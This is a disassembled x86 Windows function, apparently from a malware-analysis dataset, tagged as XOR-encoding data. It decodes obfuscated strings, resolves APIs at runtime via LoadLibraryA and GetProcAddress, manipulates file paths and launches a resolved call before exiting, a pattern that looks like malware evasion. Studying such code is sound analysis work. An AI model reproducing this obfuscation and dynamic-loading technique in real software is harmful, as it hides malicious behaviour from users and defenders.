Function at 0x40caf7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
mov eax, dword [0x440040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x439c20
lea edi, [ebp - 0x248]
push 0x37
xor ecx, ecx
pop ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x248], dl
inc ecx
cmp ecx, 0xd
jl 0x40cb21
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 0x21c], ebx
test ebx, ebx
je 0x40cdc6
mov esi, str.p_MwTXHRZ
lea edi, [ebp - 0x270]
push 0x37
xor ecx, ecx
pop ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x270], dl
inc ecx
cmp ecx, 0x13
jl 0x40cb6a
mov ebx, dword [ebp - 0x21c]
lea eax, [ebp - 0x270]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x439c41], 0
lea edi, [ebp - 0x25c]
mov esi, str.p_MiSSOJo_5_r__
mov dword [ebp - 0x22c], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x40cbd3
push 0x37
xor ecx, ecx
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x25c], dl
inc ecx
cmp ecx, 0x12
jl 0x40cbb8
mov ebx, dword [ebp - 0x21c]
lea eax, [ebp - 0x25c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x439d8f], 0
lea edi, [ebp - 0x288]
push 6
pop ecx
mov esi, 0x439d78
mov dword [ebp - 0x224], eax
rep movsd dword es:[edi], dword [esi]
je 0x40cc20
push 0x37
xor ecx, ecx
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x288], dl
inc ecx
cmp ecx, 0x18
jl 0x40cc05
mov ebx, dword [ebp - 0x21c]
lea eax, [ebp - 0x288]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str._KMHX_I
mov dword [ebp - 0x220], eax
lea edi, [ebp - 0x238]
xor ecx, ecx
push 0x37
pop ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x238], dl
inc ecx
cmp ecx, 9
jl 0x40cc47
mov ebx, dword [ebp - 0x21c]
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x40cdbf
mov edi, dword [ebp - 0x224]
test edi, edi
je 0x40cdbf
cmp dword [ebp - 0x220], 0
je 0x40cdbf
test esi, esi
je 0x40cdbf
push 0x104
lea ecx, [ebp - 0x110]
push ecx
push 0
call eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push eax
call edi
lea eax, [ebp - 0x228]
push eax
call fcn.0040ce16
mov edi, eax
cmp byte [edi + 7], 0
je 0x40ccf2
push 0x37
xor ecx, ecx
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ecx + edi], dl
inc ecx
cmp ecx, 8
jl 0x40ccdb
mov ebx, dword [ebp - 0x21c]
push edi
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x228]
push eax
call fcn.0040ce31
mov edi, eax
cmp byte [edi + 7], 0
je 0x40cd3c
push 0x37
xor ecx, ecx
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ecx + edi], dl
inc ecx
cmp ecx, 8
jl 0x40cd25
mov ebx, dword [ebp - 0x21c]
push edi
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x228]
push eax
call fcn.0040ce4c
mov esi, eax
cmp byte [esi + 7], 0
je 0x40cd76
push 0x37
xor ecx, ecx
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ecx + esi], dl
inc ecx
cmp ecx, 8
jl 0x40cd5f
mov ebx, dword [ebp - 0x21c]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [ebp - 0x220]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x40ce0b
lea eax, [ebp - 0x238]
push eax
call fcn.0040ce67
mov esi, eax
cmp byte [esi + 0xb], 0
je 0x40cddb
push 0x37
xor ecx, ecx
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ecx + esi], dl
inc ecx
cmp ecx, 0xc
jge 0x40cdd5
jmp 0x40cdac
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419f88
leave
ret
mov ebx, dword [ebp - 0x21c]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40ce0b
mov ecx, dword [0x441840]
test ecx, ecx
je 0x40ce0b
xor edx, edx
lea eax, [ebp - 0x218]
push edx
push edx
push eax
lea eax, [ebp - 0x110]
push eax
push edx
push edx
call ecx
push esi
call edi
push ebx
call edi
push 0
call fcn.0041dcef
int3